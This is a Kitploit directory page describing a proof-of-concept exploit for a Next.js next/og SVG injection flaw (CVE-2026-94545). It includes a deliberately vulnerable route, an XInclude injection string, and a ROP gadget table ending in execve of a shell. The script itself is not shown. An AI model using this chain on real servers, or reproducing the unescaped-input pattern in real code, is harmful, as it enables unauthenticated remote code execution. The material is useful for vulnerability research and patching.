Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-94545- — Python PoC for CVE-2026-94545: exploits unescaped SVG input in Next.js next/og to trigger libxml2 corruption and a ROP chain for unauthenticated RCE. | Kitploit
Tools/GitHubGitHub/mrdark-ops/cve-2026-94545-
Payload GenerationVulnerability AnalysisExploitationShellcodeWeb Application ExploitationWeb SecurityBinary Exploitation
GitHubmrdark-ops/cve-2026-94545-

CVE-2026-94545-

Python PoC for CVE-2026-94545: exploits unescaped SVG input in Next.js next/og to trigger libxml2 corruption and a ROP chain for unauthenticated RCE.

View Repository
111 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-94545: Next.js next/og Unauthenticated Remote Code Execution

For security research use only, in authorized vulnerability environments.

ItemValue
CVECVE-2026-94545 / GHSA-vcvr-r3jv-pc5j
UpstreamSatori GHSA-wx4j-mvgx-mqwp
Root CauseCWE-116 (Improper Encoding or Escaping of Output) → Native XML parser memory corruption → RCE
AffectedNext.js 16.2.0 – 16.3.5 (Node runtime with sharp installed); bundled Satori ≥ 0.0.27 and < 0.33.5
FixedNext.js 16.3.6 / Satori 0.33.5
ImpactExecute arbitrary commands in the Next.js service process without authentication
Tested StackNext.js 16.3.5 + sharp 0.35.4 (libvips 8.18.6, librsvg 2.62.91, libxml2 2.15.3) + Node.js v24.20.0 official x64 binary (non-PIE)

With the Edge runtime (export const runtime = 'edge') or when sharp is not installed, rendering goes through the resvg-wasm sandbox, so this vulnerability does not reach the native parsing chain and therefore does not become RCE.

Vulnerability Chain

User input is concatenated into the SVG as plain text, and this SVG is then stuffed whole into a data: URL and handed to a C-language XML parser for a second round of parsing. Only URL encoding is performed in between; XML escaping is never done.

Layer 1: App Router — Untrusted Input Enters the Render Function

Typical pattern: POST /api/og places the entire request body, or GET /api/og?value= places the query parameter, directly into the SVG <title> of ImageResponse, without filtering or escaping.

import { ImageResponse } from 'next/og'

export const runtime = 'nodejs'
export const dynamic = 'force-dynamic'

async function render(request) {
  const url = new URL(request.url)
  const value = request.method === 'POST'
    ? await request.text()
    : (url.searchParams.get('value') ?? '')
  return new ImageResponse(
    <svg width="1200" height="630"><title>{value}</title></svg>,
    { width: 1200, height: 630 }
  )
}

export const GET = render
export const POST = render

ImageResponse receives a JSX element tree and returns a PNG. Any route that writes request data into SVG child nodes / attributes / styles is a sink.

Layer 2: next/og Entry Forwarding

node_modules/next/og.js forwards to next/dist/server/og/image-response.js. The Node runtime dynamically loads next/dist/compiled/@vercel/og/index.node.js (native path); the Edge runtime loads the wasm path and is not affected by this vulnerability.

Layer 3: @vercel/og — Satori Generates the SVG, Then Hands It Off for Rasterization

The flow of Next.js's bundled @vercel/og (compiled artifact comments confirm it contains [email protected]) is:

  1. Use Satori to serialize the JSX tree into an SVG string.
  2. If sharp is detected, hand the SVG to the native library for rasterization; otherwise fall back to resvg-wasm.
const svg = await satori2(element, { width, height, fonts, ... })
if (sharp) {
  pngBuffer = await sharp(new TextEncoder().encode(svg)).resize(width).png().toBuffer()
} else {
  const resvgJS = new resvg.Resvg(svg, { fitTo: { mode: ... } })
}

At this point, the user input has already become an SVG string and is passed verbatim to sharp (native libvips).

Layer 4: Satori 0.25.0 — Text Is Only URL-Encoded, Never XML-Escaped

For an <svg> explicitly written in JSX, Satori serializes it whole into a data:image/svg+xml URL and then embeds it into the output as an <image>.

vercel/[email protected] src/layout.ts: calls SVGNodeToImage when entering an <svg> node.

src/handler/preprocess.ts has two key flaws:

const SVGSymbols = /[\r\n%#()<>?[\\\]^`{|}"']/g   // Only used for URI percent-encoding

export function translateSVGNodeToSVGString(node, inheritedColor) {
  if (typeof node !== 'object') return String(node)  // Flaw 1: string child nodes are returned as-is, with no XML entity escaping
  return `<${type}${attrs}${styles}>${translateSVGNodeToSVGString(children, currentColor)}</${type}>`
}

export async function SVGNodeToImage(element, inheritedColor) {
  return `data:image/svg+xml;utf8,${`<svg ...>...</svg>`.replace(SVGSymbols, encodeURIComponent)}`
  // Flaw 2: only URI percent-encoding is performed, not XML escaping
}

&, <, and > are not written as &amp; / &lt; / &gt;. Percent-encoding is merely a URL syntax requirement; when the downstream parser loads the data: URL, %3C/title%3E is restored into a real </title>, and the attacker's text transitions from "data" back into "document structure".

When the input is </title><xi:include …/><title>, the intermediate SVG handed by Satori to sharp takes the following form (decoded for illustration):

<svg width="1200" height="630" viewBox="0 0 1200 630" xmlns="http://www.w3.org/2000/svg">
  <image x="0" y="0" width="1200" height="630"
     href="data:image/svg+xml;utf8,...<title></title><xi:include
           xmlns:xi='http://www.w3.org/2001/XInclude'
           href='data:image/svg+xml,...' parse='xml'/><title></title>..." />
</svg>

Layer 5: sharp → libvips → librsvg → libxml2 — Native Parsing and Memory Corruption

sharp(SVG buffer)
 → libvips  vips_foreign_load_svg_buffer()
 → librsvg  rsvg_handle_new_from_stream_with_flags()
              ├─ Parses the outer SVG
              ├─ When it encounters <image href="data:image/svg+xml,...">, loads and re-parses the sub-document
              └─ XML parsing is delegated to libxml2
 → libxml2  xmlStringLenDecodeEntities / xmlXIncludeProcessNode / xmlXIncludeLoadDoc

The payload uses two layers of injection to control libxml2's input structure:

  1. The outer </title><xi:include parse="xml" href="data:…"> makes the parser jump to loading a nested document fully controlled by the attacker.
  2. Inside the nested document, nested DTD entities + XInclude are then used to construct an excessively deep / wide entity expansion and reference graph.

libxml2's internal state is pushed beyond expectations, resulting in an out-of-bounds write. The corruption effect is reliably landed via carefully arranged SVG <path> coordinate sequences (IEEE-754 doubles carrying 8-byte little-endian words), thereby hijacking control flow.

Layer 6: Non-PIE Node Fixed-Address ROP → execve

The officially released Node.js linux-x64 binary is a non-PIE executable with a fixed load base; PLT / GOT and gadget addresses are constant, so no information leak is needed.

This PoC is built against Node.js v24.20.0 official x64; the gadgets are as follows:

SymbolAddressPurpose
POP_RDI0xA1EAEDpop rdi ; ret
POP_RAX0x7F38D4pop rax ; ret
POP_RSI0x95823Dpop rsi ; ret
POP_RDX0x776758pop rdx ; ret
STOSQ_RET0xD16725stosq ; ret (writes to scratch qword by qword)
EXECVE_PLT0x745FA0PLT stub of execve
SCRATCH0x6B5F500Fixed writable address

The ROP chain first uses pop rax / stosq to write "/bin/sh\0", "-c\0", the command string, and the argv array into SCRATCH qword by qword, then sets up rdi = path, rsi = argv, rdx = envp(0), and jumps to EXECVE_PLT:

execve("/bin/sh", ["/bin/sh", "-c", "<command>"], NULL)

The rendering process itself is replaced by execve; the HTTP connection drops and the service stops responding — this is an inherent manifestation of successful exploitation of this vulnerability. The new process inherits the Node process environment and can execute arbitrary commands.

Script Usage

Download Tool